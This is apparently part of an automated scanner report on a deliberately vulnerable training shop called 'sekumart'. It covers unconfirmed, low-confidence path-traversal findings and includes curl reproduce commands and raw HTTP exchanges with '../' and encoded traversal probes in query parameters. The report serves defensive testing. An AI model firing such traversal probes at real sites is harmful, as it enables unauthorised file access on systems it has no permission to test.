request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=skspwfozz/../1&format=1&mode=1&state=1&code=1&session=1'

GET /sekumart.sekuripy.hr/login.php?template=1&include=1&download=skspwfozz/../1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:00 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:00 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=1&download=skspwfozz/../1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:00 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=1&download=skspwfozz/%2e%2e/1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:00 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=1&download=skspwfozz/1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:00 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=1&download=&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:01 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · fileName unconfirmed · low confidence BV-024 info

location: GET https://sekumart.sekuripy.hr/cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1
input: fileName in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

fileName reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

fileName looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?fileName=skso7ed9r/../1&path=1&email=1&token=1&action=1&value=1&type=1&key=1'

GET /cart.php?fileName=skso7ed9r/../1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1…

request

GET /cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1…

request

GET /cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?fileName=skso7ed9r/../1&path=1&email=1&token=1…

request

GET /cart.php?fileName=skso7ed9r/../1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?fileName=skso7ed9r/%2e%2e/1&path=1&email=1&token=1…

request

GET /cart.php?fileName=skso7ed9r/%2e%2e/1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?fileName=skso7ed9r/1&path=1&email=1&token=1&action=1…

request

GET /cart.php?fileName=skso7ed9r/1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?fileName=&path=1&email=1&token=1&action=1&value=1…

request

GET /cart.php?fileName=&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · fileName unconfirmed · low confidence BV-025 info

location: GET https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1
input: fileName in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

fileName reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

fileName looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

